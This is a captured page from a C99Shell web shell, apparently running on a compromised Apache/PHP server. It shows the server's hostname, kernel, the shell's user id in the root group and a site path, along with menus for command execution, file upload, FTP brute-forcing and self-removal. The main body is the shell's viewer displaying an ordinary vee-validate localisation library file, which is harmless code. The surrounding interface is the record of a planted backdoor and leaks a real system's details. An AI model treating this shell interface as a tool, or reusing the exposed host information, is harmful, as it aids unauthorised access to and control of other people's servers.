!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/node_modules/@vee-validate/i18n/dist/   drwxr-xr-x
Free 28.21 GB of 117.98 GB (23.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     vee-validate-i18n.js (5.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/**
  * vee-validate v4.5.11
  * (c) 2022 Abdelrahman Awad
  * @license MIT
  */
(function (global, factory) {
  typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
  typeof define === 'function' && define.amd ? define(['exports'], factory) :
  (global = typeof globalThis !== 'undefined' ? globalThis : global || self, factory(global.VeeValidateI18n = {}));
})(this, (function (exports) { 'use strict';

  function isCallable(fn) {
      return typeof fn === 'function';
  }
  const isObject = (obj) => obj !== null && !!obj && typeof obj === 'object' && !Array.isArray(obj);

  /**
   * Replaces placeholder values in a string with their actual values
   */
  function interpolate(template, values) {
      return template.replace(/(\d:)?{([^}]+)}/g, function (_, param, placeholder) {
          if (!param || !values.params) {
              return placeholder in values
                  ? values[placeholder]
                  : values.params && placeholder in values.params
                      ? values.params[placeholder]
                      : `{${placeholder}}`;
          }
          // Handles extended object params format
          if (!Array.isArray(values.params)) {
              return placeholder in values.params ? values.params[placeholder] : `{${placeholder}}`;
          }
          // Extended Params exit in the format of `paramIndex:{paramName}` where the index is optional
          const paramIndex = Number(param.replace(':', ''));
          return paramIndex in values.params ? values.params[paramIndex] : `${param}{${placeholder}}`;
      });
  }
  function merge(target, source) {
      Object.keys(source).forEach(key => {
          if (isObject(source[key])) {
              if (!target[key]) {
                  target[key] = {};
              }
              merge(target[key], source[key]);
              return;
          }
          target[key] = source[key];
      });
      return target;
  }

  class Dictionary {
      constructor(locale, dictionary) {
          this.container = {};
          this.locale = locale;
          this.merge(dictionary);
      }
      resolve(ctx) {
          return this.format(this.locale, ctx);
      }
      getLocaleDefault(locale, field) {
          var _a, _b, _c, _d, _e;
          return ((_c = (_b = (_a = this.container[locale]) === null || _a === void 0 ? void 0 : _a.fields) === null || _b === void 0 ? void 0 : _b[field]) === null || _c === void 0 ? void 0 : _c._default) || ((_e = (_d = this.container[locale]) === null || _d === void 0 ? void 0 : _d.messages) === null || _e === void 0 ? void 0 : _e._default);
      }
      format(locale, ctx) {
          var _a, _b, _c, _d, _e, _f, _g, _h;
          let message;
          const { field, rule, form } = ctx;
          const fieldName = (_c = (_b = (_a = this.container[locale]) === null || _a === void 0 ? void 0 : _a.names) === null || _b === void 0 ? void 0 : _b[field]) !== null && _c !== void 0 ? _c : field;
          if (!rule) {
              message = this.getLocaleDefault(locale, field) || `${fieldName} is not valid`;
              return isCallable(message) ? message(ctx) : interpolate(message, Object.assign(Object.assign({}, form), { field: fieldName }));
          }
          // find if specific message for that field was specified.
          message = ((_f = (_e = (_d = this.container[locale]) === null || _d === void 0 ? void 0 : _d.fields) === null || _e === void 0 ? void 0 : _e[field]) === null || _f === void 0 ? void 0 : _f[rule.name]) || ((_h = (_g = this.container[locale]) === null || _g === void 0 ? void 0 : _g.messages) === null || _h === void 0 ? void 0 : _h[rule.name]);
          if (!message) {
              message = this.getLocaleDefault(locale, field) || `${fieldName} is not valid`;
          }
          return isCallable(message)
              ? message(ctx)
              : interpolate(message, Object.assign(Object.assign({}, form), { field: fieldName, params: rule.params }));
      }
      merge(dictionary) {
          merge(this.container, dictionary);
      }
  }
  let DICTIONARY;
  function localize(locale, dictionary) {
      if (!DICTIONARY) {
          DICTIONARY = new Dictionary('en', {});
      }
      const generateMessage = ctx => {
          return DICTIONARY.resolve(ctx);
      };
      if (typeof locale === 'string') {
          DICTIONARY.locale = locale;
          if (dictionary) {
              DICTIONARY.merge({ [locale]: dictionary });
          }
          return generateMessage;
      }
      DICTIONARY.merge(locale);
      return generateMessage;
  }
  /**
   * Sets the locale
   */
  function setLocale(locale) {
      DICTIONARY.locale = locale;
  }
  /**
   * Loads a locale file from URL and merges it with the current dictionary
   */
  async function loadLocaleFromURL(url) {
      try {
          const locale = await fetch(url, {
              headers: {
                  'content-type': 'application/json',
              },
          }).then(res => res.json());
          if (!locale.code) {
              console.error('Could not identify locale, ensure the locale file contains `code` field');
              return;
          }
          localize({ [locale.code]: locale });
      }
      catch (err) {
          console.error(`Failed to load locale `);
      }
  }

  exports.loadLocaleFromURL = loadLocaleFromURL;
  exports.localize = localize;
  exports.setLocale = setLocale;

  Object.defineProperty(exports, '__esModule', { value: true });

}));

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--